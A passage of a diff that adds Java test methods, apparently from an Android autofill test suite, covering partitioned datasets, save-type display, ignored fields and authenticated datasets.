+                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
+                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_L1C1)
+                .build();
+        sReplier.addResponse(response1);
+        focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger 2nd partition.
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
+                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_GENERIC, ID_L2C1)
+                .build();
+        sReplier.addResponse(response2);
+        focusCell(2, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger 3rd partition.
+        final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L3C1, "l3c1", createPresentation("l3c1"))
+                        .setField(ID_L3C2, "l3c2", createPresentation("l3c2"))
+                        .build())
+                .setRequiredSavableIds(
+                        SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_GENERIC | SAVE_DATA_TYPE_USERNAME,
+                        ID_L3C1)
+                .build();
+        sReplier.addResponse(response3);
+        focusCell(3, 1);
+        sReplier.getNextFillRequest();
+
+
+        // Trigger save
+        mActivity.setText(1, 1, "L1C1");
+        mActivity.setText(2, 1, "L2C1");
+        mActivity.setText(3, 1, "L3C1");
+        mActivity.save();
+
+        // Make sure GENERIC type is not shown on snackbar
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD, SAVE_DATA_TYPE_USERNAME);
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertValue(saveRequest.structure, ID_L1C1, "L1C1");
+        assertValue(saveRequest.structure, ID_L2C1, "L2C1");
+        assertValue(saveRequest.structure, ID_L3C1, "L3C1");
+    }
+
+    @Test
+    public void testSaveMoreThanThreeSaveInfosDifferentTypes() throws Exception {
+        // Set service.
+        enableService();
+
+        // Trigger 1st partition.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
+                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_L1C1)
+                .build();
+        sReplier.addResponse(response1);
+        focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger 2nd partition.
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
+                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_CREDIT_CARD,
+                        ID_L2C1)
+                .build();
+        sReplier.addResponse(response2);
+        focusCell(2, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger 3rd partition.
+        final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L3C1, "l3c1", createPresentation("l3c1"))
+                        .setField(ID_L3C2, "l3c2", createPresentation("l3c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_CREDIT_CARD
+                        | SAVE_DATA_TYPE_USERNAME, ID_L3C1)
+                .build();
+        sReplier.addResponse(response3);
+        focusCell(3, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger 4th partition.
+        final CannedFillResponse response4 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L4C1, "l4c1", createPresentation("l4c1"))
+                        .setField(ID_L4C2, "l4c2", createPresentation("l4c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_CREDIT_CARD
+                        | SAVE_DATA_TYPE_USERNAME | SAVE_DATA_TYPE_ADDRESS, ID_L4C1)
+                .build();
+        sReplier.addResponse(response4);
+        focusCell(4, 1);
+        sReplier.getNextFillRequest();
+
+
+        // Trigger save
+        mActivity.setText(1, 1, "L1C1");
+        mActivity.setText(2, 1, "L2C1");
+        mActivity.setText(3, 1, "L3C1");
+        mActivity.setText(4, 1, "L4C1");
+        mActivity.save();
+
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertValue(saveRequest.structure, ID_L1C1, "L1C1");
+        assertValue(saveRequest.structure, ID_L2C1, "L2C1");
+        assertValue(saveRequest.structure, ID_L3C1, "L3C1");
+        assertValue(saveRequest.structure, ID_L4C1, "L4C1");
+    }
+
+    @Test
+    public void testIgnoredFieldsDontTriggerAutofill() throws Exception {
+        // Set service.
+        enableService();
+
+        // Prepare 1st partition.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
+                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
+                        .build())
+                .setIgnoreFields(ID_L2C1, ID_L2C2)
+                .build();
+        sReplier.addResponse(response1);
+
+        // Trigger auto-fill on 1st partition.
+        focusCell(1, 1);
+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        assertThat(fillRequest1.flags).isEqualTo(0);
+        final ViewNode p1l1c1 = assertTextIsSanitized(fillRequest1.structure, ID_L1C1);
+        final ViewNode p1l1c2 = assertTextIsSanitized(fillRequest1.structure, ID_L1C2);
+        assertWithMessage("Focus on p1l1c1").that(p1l1c1.isFocused()).isTrue();
+        assertWithMessage("Focus on p1l1c2").that(p1l1c2.isFocused()).isFalse();
+
+        // Make sure UI is shown on 1st partition
+        mUiBot.assertDatasets("l1c1");
+        focusCell(1, 2);
+        mUiBot.assertDatasets("l1c2");
+
+        // Make sure UI is not shown on ignored partition
+        focusCell(2, 1);
+        mUiBot.assertNoDatasets();
+        focusCellNoWindowChange(2, 2);
+        mUiBot.assertNoDatasetsEver();
+    }
+
+    /**
+     * Tests scenario where each partition has more than one dataset, but they don't overlap, i.e.,
+     * each {@link FillResponse} only contain fields within the partition.
+     */
+    @Test
+    public void testAutofillMultipleDatasetsNoOverlap() throws Exception {
+        // Set service.
+        enableService();
+
+        /**
+         * 1st partition.
+         */
+        // Set expectations.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P1D1"))
+                        .setField(ID_L1C1, "l1c1")
+                        .setField(ID_L1C2, "l1c2")
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P1D2"))
+                        .setField(ID_L1C1, "L1C1")
+                        .build())
+                .build();
+        sReplier.addResponse(response1);
+        final FillExpectation expectation1 = mActivity.expectAutofill()
+                .onCell(1, 1, "l1c1")
+                .onCell(1, 2, "l1c2");
+
+        // Trigger partition.
+        focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+
+        /**
+         * 2nd partition.
+         */
+        // Set expectations.
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P2D1"))
+                        .setField(ID_L2C1, "l2c1")
+                        .setField(ID_L2C2, "l2c2")
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P2D2"))
+                        .setField(ID_L2C2, "L2C2")
+                        .build())
+                .build();
+        sReplier.addResponse(response2);
+        final FillExpectation expectation2 = mActivity.expectAutofill()
+                .onCell(2, 2, "L2C2");
+
+        // Trigger partition.
+        focusCell(2, 1);
+        sReplier.getNextFillRequest();
+
+        /**
+         * 3rd partition.
+         */
+        // Set expectations.
+        final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P3D1"))
+                        .setField(ID_L3C1, "l3c1")
+                        .setField(ID_L3C2, "l3c2")
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P3D2"))
+                        .setField(ID_L3C1, "L3C1")
+                        .setField(ID_L3C2, "L3C2")
+                        .build())
+                .build();
+        sReplier.addResponse(response3);
+        final FillExpectation expectation3 = mActivity.expectAutofill()
+                .onCell(3, 1, "L3C1")
+                .onCell(3, 2, "L3C2");
+
+        // Trigger partition.
+        focusCell(3, 1);
+        sReplier.getNextFillRequest();
+
+        /**
+         * 4th partition.
+         */
+        // Set expectations.
+        final CannedFillResponse response4 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P4D1"))
+                        .setField(ID_L4C1, "l4c1")
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P4D2"))
+                        .setField(ID_L4C1, "L4C1")
+                        .setField(ID_L4C2, "L4C2")
+                        .build())
+                .build();
+        sReplier.addResponse(response4);
+        final FillExpectation expectation4 = mActivity.expectAutofill()
+                .onCell(4, 1, "l4c1");
+
+        // Trigger partition.
+        focusCell(4, 1);
+        sReplier.getNextFillRequest();
+
+        /*
+         *  Now move focus around to make sure the proper values are displayed each time.
+         */
+        focusCell(1, 1);
+        mUiBot.assertDatasets("P1D1", "P1D2");
+        focusCell(1, 2);
+        mUiBot.assertDatasets("P1D1");
+
+        focusCell(2, 1);
+        mUiBot.assertDatasets("P2D1");
+        focusCell(2, 2);
+        mUiBot.assertDatasets("P2D1", "P2D2");
+
+        focusCell(4, 1);
+        mUiBot.assertDatasets("P4D1", "P4D2");
+        focusCell(4, 2);
+        mUiBot.assertDatasets("P4D2");
+
+        focusCell(3, 2);
+        mUiBot.assertDatasets("P3D1", "P3D2");
+        focusCell(3, 1);
+        mUiBot.assertDatasets("P3D1", "P3D2");
+
+        /*
+         *  Finally, autofill and check results.
+         */
+        focusCell(4, 1);
+        mUiBot.selectDataset("P4D1");
+        expectation4.assertAutoFilled();
+
+        focusCell(1, 1);
+        mUiBot.selectDataset("P1D1");
+        expectation1.assertAutoFilled();
+
+        focusCell(3, 1);
+        mUiBot.selectDataset("P3D2");
+        expectation3.assertAutoFilled();
+
+        focusCell(2, 2);
+        mUiBot.selectDataset("P2D2");
+        expectation2.assertAutoFilled();
+    }
+
+    /**
+     * Tests scenario where each partition has more than one dataset, but they overlap, i.e.,
+     * some fields are present in more than one partition.
+     *
+     * <p>Whenever a new partition defines a field previously present in another partittion, that
+     * partition will "own" that field.
+     *
+     * <p>In the end, 4th partition will one all fields in 2 datasets; and this test cases picks
+     * the first.
+     */
+    @Test
+    public void testAutofillMultipleDatasetsOverlappingPicksFirst() throws Exception {
+        autofillMultipleDatasetsOverlapping(true);
+    }
+
+    /**
+     * Tests scenario where each partition has more than one dataset, but they overlap, i.e.,
+     * some fields are present in more than one partition.
+     *
+     * <p>Whenever a new partition defines a field previously present in another partittion, that
+     * partition will "own" that field.
+     *
+     * <p>In the end, 4th partition will one all fields in 2 datasets; and this test cases picks
+     * the second.
+     */
+    @Test
+    public void testAutofillMultipleDatasetsOverlappingPicksSecond() throws Exception {
+        autofillMultipleDatasetsOverlapping(false);
+    }
+
+    private void autofillMultipleDatasetsOverlapping(boolean pickFirst) throws Exception {
+        // Set service.
+        enableService();
+
+        /**
+         * 1st partition.
+         */
+        // Set expectations.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P1D1"))
+                        .setField(ID_L1C1, "1l1c1")
+                        .setField(ID_L1C2, "1l1c2")
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P1D2"))
+                        .setField(ID_L1C1, "1L1C1")
+                        .build())
+                .build();
+        sReplier.addResponse(response1);
+
+        // Trigger partition.
+        focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        // Asserts proper datasets are shown on each field defined so far.
+        mUiBot.assertDatasets("P1D1", "P1D2");
+        focusCell(1, 2);
+        mUiBot.assertDatasets("P1D1");
+
+        /**
+         * 2nd partition.
+         */
+        // Set expectations.
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P2D1"))
+                        .setField(ID_L1C1, "2l1c1") // from previous partition
+                        .setField(ID_L2C1, "2l2c1")
+                        .setField(ID_L2C2, "2l2c2")
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P2D2"))
+                        .setField(ID_L2C2, "2L2C2")
+                        .build())
+                .build();
+        sReplier.addResponse(response2);
+
+        // Trigger partition.
+        focusCell(2, 1);
+        sReplier.getNextFillRequest();
+
+        // Asserts proper datasets are shown on each field defined so far.
+        focusCell(1, 1);
+        mUiBot.assertDatasets("P2D1"); // changed
+        focusCell(1, 2);
+        mUiBot.assertDatasets("P1D1");
+        focusCell(2, 1);
+        mUiBot.assertDatasets("P2D1");
+        focusCell(2, 2);
+        mUiBot.assertDatasets("P2D1", "P2D2");
+
+        /**
+         * 3rd partition.
+         */
+        // Set expectations.
+        final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P3D1"))
+                        .setField(ID_L1C2, "3l1c2")
+                        .setField(ID_L3C1, "3l3c1")
+                        .setField(ID_L3C2, "3l3c2")
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P3D2"))
+                        .setField(ID_L2C2, "3l2c2")
+                        .setField(ID_L3C1, "3L3C1")
+                        .setField(ID_L3C2, "3L3C2")
+                        .build())
+                .build();
+        sReplier.addResponse(response3);
+
+        // Trigger partition.
+        focusCell(3, 1);
+        sReplier.getNextFillRequest();
+
+        // Asserts proper datasets are shown on each field defined so far.
+        focusCell(1, 1);
+        mUiBot.assertDatasets("P2D1");
+        focusCell(1, 2);
+        mUiBot.assertDatasets("P3D1"); // changed
+        focusCell(2, 1);
+        mUiBot.assertDatasets("P2D1");
+        focusCell(2, 2);
+        mUiBot.assertDatasets("P3D2"); // changed
+        focusCell(3, 2);
+        mUiBot.assertDatasets("P3D1", "P3D2");
+        focusCell(3, 1);
+        mUiBot.assertDatasets("P3D1", "P3D2");
+
+        /**
+         * 4th partition.
+         */
+        // Set expectations.
+        final CannedFillResponse response4 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P4D1"))
+                        .setField(ID_L1C1, "4l1c1")
+                        .setField(ID_L1C2, "4l1c2")
+                        .setField(ID_L2C1, "4l2c1")
+                        .setField(ID_L2C2, "4l2c2")
+                        .setField(ID_L3C1, "4l3c1")
+                        .setField(ID_L3C2, "4l3c2")
+                        .setField(ID_L4C1, "4l4c1")
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P4D2"))
+                        .setField(ID_L1C1, "4L1C1")
+                        .setField(ID_L1C2, "4L1C2")
+                        .setField(ID_L2C1, "4L2C1")
+                        .setField(ID_L2C2, "4L2C2")
+                        .setField(ID_L3C1, "4L3C1")
+                        .setField(ID_L3C2, "4L3C2")
+                        .setField(ID_L1C1, "4L1C1")
+                        .setField(ID_L4C1, "4L4C1")
+                        .setField(ID_L4C2, "4L4C2")
+                        .build())
+                .build();
+        sReplier.addResponse(response4);
+
+        // Trigger partition.
+        focusCell(4, 1);
+        sReplier.getNextFillRequest();
+
+        // Asserts proper datasets are shown on each field defined so far.
+        focusCell(1, 1);
+        mUiBot.assertDatasets("P4D1", "P4D2");
+        focusCell(1, 2);
+        mUiBot.assertDatasets("P4D1", "P4D2");
+        focusCell(2, 1);
+        mUiBot.assertDatasets("P4D1", "P4D2");
+        focusCell(2, 2);
+        mUiBot.assertDatasets("P4D1", "P4D2");
+        focusCell(3, 2);
+        mUiBot.assertDatasets("P4D1", "P4D2");
+        focusCell(3, 1);
+        mUiBot.assertDatasets("P4D1", "P4D2");
+        focusCell(4, 1);
+        mUiBot.assertDatasets("P4D1", "P4D2");
+        focusCell(4, 2);
+        mUiBot.assertDatasets("P4D2");
+
+        /*
+         * Finally, autofill and check results.
+         */
+        final FillExpectation expectation = mActivity.expectAutofill();
+        final String chosenOne;
+        if (pickFirst) {
+            expectation
+                .onCell(1, 1, "4l1c1")
+                .onCell(1, 2, "4l1c2")
+                .onCell(2, 1, "4l2c1")
+                .onCell(2, 2, "4l2c2")
+                .onCell(3, 1, "4l3c1")
+                .onCell(3, 2, "4l3c2")
+                .onCell(4, 1, "4l4c1");
+            chosenOne = "P4D1";
+        } else {
+            expectation
+                .onCell(1, 1, "4L1C1")
+                .onCell(1, 2, "4L1C2")
+                .onCell(2, 1, "4L2C1")
+                .onCell(2, 2, "4L2C2")
+                .onCell(3, 1, "4L3C1")
+                .onCell(3, 2, "4L3C2")
+                .onCell(4, 1, "4L4C1")
+                .onCell(4, 2, "4L4C2");
+            chosenOne = "P4D2";
+        }
+
+        focusCell(4, 1);
+        mUiBot.selectDataset(chosenOne);
+        expectation.assertAutoFilled();
+    }
+
+    @Test
+    public void testAutofillMultipleAuthDatasetsInSequence() throws Exception {
+        // Set service.
+        enableService();
+
+        /**
+         * 1st partition.
+         */
+        // Set expectations.
+        final IntentSender auth11 = AuthenticationActivity.createSender(getContext(), 11,
+                new CannedDataset.Builder()
+                        .setField(ID_L1C1, "l1c1")
+                        .setField(ID_L1C2, "l1c2")
+                        .build());
+        final IntentSender auth12 = AuthenticationActivity.createSender(getContext(), 12);
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth11)
+                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L1C2, UNUSED_AUTOFILL_VALUE)
+                        .setPresentation(createPresentation("P1D1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth12)
+                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
+                        .setPresentation(createPresentation("P1D2"))
+                        .build())
+                .build();
+        sReplier.addResponse(response1);
+        final FillExpectation expectation1 = mActivity.expectAutofill()
+                .onCell(1, 1, "l1c1")
+                .onCell(1, 2, "l1c2");
+
+        // Trigger partition.
+        focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        // Focus around different fields in the partition.
+        mUiBot.assertDatasets("P1D1", "P1D2");
+        focusCell(1, 2);
+        mUiBot.assertDatasets("P1D1");
+
+        // Autofill it...
+        mUiBot.selectDataset("P1D1");
+        // ... and assert result
+        expectation1.assertAutoFilled();
+
+        /**
+         * 2nd partition.
+         */
+        // Set expectations.
+        final IntentSender auth21 = AuthenticationActivity.createSender(getContext(), 21);
+        final IntentSender auth22 = AuthenticationActivity.createSender(getContext(), 22,
+                new CannedDataset.Builder()
+                    .setField(ID_L2C2, "L2C2")
+                    .build());
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth21)
+                        .setPresentation(createPresentation("P2D1"))
+                        .setField(ID_L2C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth22)
+                        .setPresentation(createPresentation("P2D2"))
+                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .build();
+        sReplier.addResponse(response2);
+        final FillExpectation expectation2 = mActivity.expectAutofill()
+                .onCell(2, 2, "L2C2");
+
+        // Trigger partition.
+        focusCell(2, 1);
+        sReplier.getNextFillRequest();
+
+        // Focus around different fields in the partition.
+        mUiBot.assertDatasets("P2D1");
+        focusCell(2, 2);
+        mUiBot.assertDatasets("P2D1", "P2D2");
+
+        // Autofill it...
+        mUiBot.selectDataset("P2D2");
+        // ... and assert result
+        expectation2.assertAutoFilled();
+
+        /**
+         * 3rd partition.
+         */
+        // Set expectations.
+        final IntentSender auth31 = AuthenticationActivity.createSender(getContext(), 31,
+                new CannedDataset.Builder()
+                        .setField(ID_L3C1, "l3c1")
+                        .setField(ID_L3C2, "l3c2")
+                        .build());
+        final IntentSender auth32 = AuthenticationActivity.createSender(getContext(), 32);
+        final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth31)
+                        .setPresentation(createPresentation("P3D1"))
+                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth32)
+                        .setPresentation(createPresentation("P3D2"))
+                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .build();
+        sReplier.addResponse(response3);
+        final FillExpectation expectation3 = mActivity.expectAutofill()
+                .onCell(3, 1, "l3c1")
+                .onCell(3, 2, "l3c2");
+
+        // Trigger partition.
+        focusCell(3, 2);
+        sReplier.getNextFillRequest();
+
+        // Focus around different fields in the partition.
+        mUiBot.assertDatasets("P3D1", "P3D2");
+        focusCell(3, 1);
+        mUiBot.assertDatasets("P3D1", "P3D2");
+
+        // Autofill it...
+        mUiBot.selectDataset("P3D1");
+        // ... and assert result
+        expectation3.assertAutoFilled();
+
+        /**
+         * 4th partition.
+         */
+        // Set expectations.
+        final IntentSender auth41 = AuthenticationActivity.createSender(getContext(), 41);
+        final IntentSender auth42 = AuthenticationActivity.createSender(getContext(), 42,
+                new CannedDataset.Builder()
+                    .setField(ID_L4C1, "L4C1")
+                    .setField(ID_L4C2, "L4C2")
+                    .build());
+        final CannedFillResponse response4 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth41)
+                        .setPresentation(createPresentation("P4D1"))
+                        .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth42)
+                        .setPresentation(createPresentation("P4D2"))
+                        .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L4C2, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .build();
+        sReplier.addResponse(response4);
+        final FillExpectation expectation4 = mActivity.expectAutofill()
+                .onCell(4, 1, "L4C1")
+                .onCell(4, 2, "L4C2");
+
+        // Trigger partition.
+        focusCell(4, 1);
+        sReplier.getNextFillRequest();
+
+        // Focus around different fields in the partition.
+        mUiBot.assertDatasets("P4D1", "P4D2");
+        focusCell(4, 2);
+        mUiBot.assertDatasets("P4D2");
+
+        // Autofill it...
+        mUiBot.selectDataset("P4D2");
+        // ... and assert result
+        expectation4.assertAutoFilled();
+    }
+
+    /**
+     * Tests scenario where each partition has more than one dataset and all datasets require auth,
+     * but they don't overlap, i.e., each {@link FillResponse} only contain fields within the
+     * partition.
+     */
+    @Test
+    public void testAutofillMultipleAuthDatasetsNoOverlap() throws Exception {
+        // Set service.
+        enableService();
+
+        /**
+         * 1st partition.
+         */
+        // Set expectations.
+        final IntentSender auth11 = AuthenticationActivity.createSender(getContext(), 11,
+                new CannedDataset.Builder()
+                        .setField(ID_L1C1, "l1c1")
+                        .setField(ID_L1C2, "l1c2")
+                        .build());
+        final IntentSender auth12 = AuthenticationActivity.createSender(getContext(), 12);
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth11)
+                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L1C2, UNUSED_AUTOFILL_VALUE)
+                        .setPresentation(createPresentation("P1D1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth12)
+                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
+                        .setPresentation(createPresentation("P1D2"))
+                        .build())
+                .build();
+        sReplier.addResponse(response1);
+        final FillExpectation expectation1 = mActivity.expectAutofill()
+                .onCell(1, 1, "l1c1")
+                .onCell(1, 2, "l1c2");
+
+        // Trigger partition.
+        focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        /**
+         * 2nd partition.
+         */
+        // Set expectations.
+        final IntentSender auth21 = AuthenticationActivity.createSender(getContext(), 21);
+        final IntentSender auth22 = AuthenticationActivity.createSender(getContext(), 22,
+                new CannedDataset.Builder()
+                    .setField(ID_L2C2, "L2C2")
+                    .build());
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth21)
+                        .setPresentation(createPresentation("P2D1"))
+                        .setField(ID_L2C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth22)
+                        .setPresentation(createPresentation("P2D2"))
+                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .build();
+        sReplier.addResponse(response2);
+        final FillExpectation expectation2 = mActivity.expectAutofill()
+                .onCell(2, 2, "L2C2");
+
+        // Trigger partition.
+        focusCell(2, 1);
+        sReplier.getNextFillRequest();
+
+        /**
+         * 3rd partition.
+         */
+        // Set expectations.
+        final IntentSender auth31 = AuthenticationActivity.createSender(getContext(), 31,
+                new CannedDataset.Builder()
+                        .setField(ID_L3C1, "l3c1")
+                        .setField(ID_L3C2, "l3c2")
+                        .build());
+        final IntentSender auth32 = AuthenticationActivity.createSender(getContext(), 32);
+        final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth31)
+                        .setPresentation(createPresentation("P3D1"))
+                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth32)
+                        .setPresentation(createPresentation("P3D2"))
+                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .build();
+        sReplier.addResponse(response3);
+        final FillExpectation expectation3 = mActivity.expectAutofill()
+                .onCell(3, 1, "l3c1")
+                .onCell(3, 2, "l3c2");
+
+        // Trigger partition.
+        focusCell(3, 2);
+        sReplier.getNextFillRequest();
+
+        /**
+         * 4th partition.
+         */
+        // Set expectations.
+        final IntentSender auth41 = AuthenticationActivity.createSender(getContext(), 41);
+        final IntentSender auth42 = AuthenticationActivity.createSender(getContext(), 42,
+                new CannedDataset.Builder()
+                    .setField(ID_L4C1, "L4C1")
+                    .setField(ID_L4C2, "L4C2")
+                    .build());
+        final CannedFillResponse response4 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth41)
+                        .setPresentation(createPresentation("P4D1"))
+                        .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth42)
+                        .setPresentation(createPresentation("P4D2"))
+                        .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L4C2, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .build();
+        sReplier.addResponse(response4);
+        final FillExpectation expectation4 = mActivity.expectAutofill()
+                .onCell(4, 1, "L4C1")
+                .onCell(4, 2, "L4C2");
+
+        focusCell(4, 1);
+        sReplier.getNextFillRequest();
+
+        /*
+         *  Now move focus around to make sure the proper values are displayed each time.
+         */
+        focusCell(1, 1);
+        mUiBot.assertDatasets("P1D1", "P1D2");
+        focusCell(1, 2);
+        mUiBot.assertDatasets("P1D1");
+
+        focusCell(2, 1);
+        mUiBot.assertDatasets("P2D1");
+        focusCell(2, 2);
+        mUiBot.assertDatasets("P2D1", "P2D2");
+
+        focusCell(4, 1);
+        mUiBot.assertDatasets("P4D1", "P4D2");
+        focusCell(4, 2);
+        mUiBot.assertDatasets("P4D2");
+
+        focusCell(3, 2);
+        mUiBot.assertDatasets("P3D1", "P3D2");
+        focusCell(3, 1);
+        mUiBot.assertDatasets("P3D1", "P3D2");
+
+        /*
+         *  Finally, autofill and check results.
+         */
+        focusCell(4, 1);
+        mUiBot.selectDataset("P4D2");
+        expectation4.assertAutoFilled();
+
+        focusCell(1, 1);
+        mUiBot.selectDataset("P1D1");
+        expectation1.assertAutoFilled();
+
+        focusCell(3, 1);
+        mUiBot.selectDataset("P3D1");
+        expectation3.assertAutoFilled();
+
+        focusCell(2, 2);
+        mUiBot.selectDataset("P2D2");
+        expectation2.assertAutoFilled();
+    }
+
+    /**
+     * Tests scenario where each partition has more than one dataset and some datasets require auth,
+     * but they don't overlap, i.e., each {@link FillResponse} only contain fields within the
+     * partition.
+     */
+    @Test
+    public void testAutofillMultipleDatasetsMixedAuthNoAuthNoOverlap() throws Exception {
+        // Set service.
+        enableService();
+
+        /**
+         * 1st partition.
+         */
+        // Set expectations.
+        final IntentSender auth12 = AuthenticationActivity.createSender(getContext(), 12);
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L1C1, "l1c1")
+                        .setField(ID_L1C2, "l1c2")
+                        .setPresentation(createPresentation("P1D1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth12)
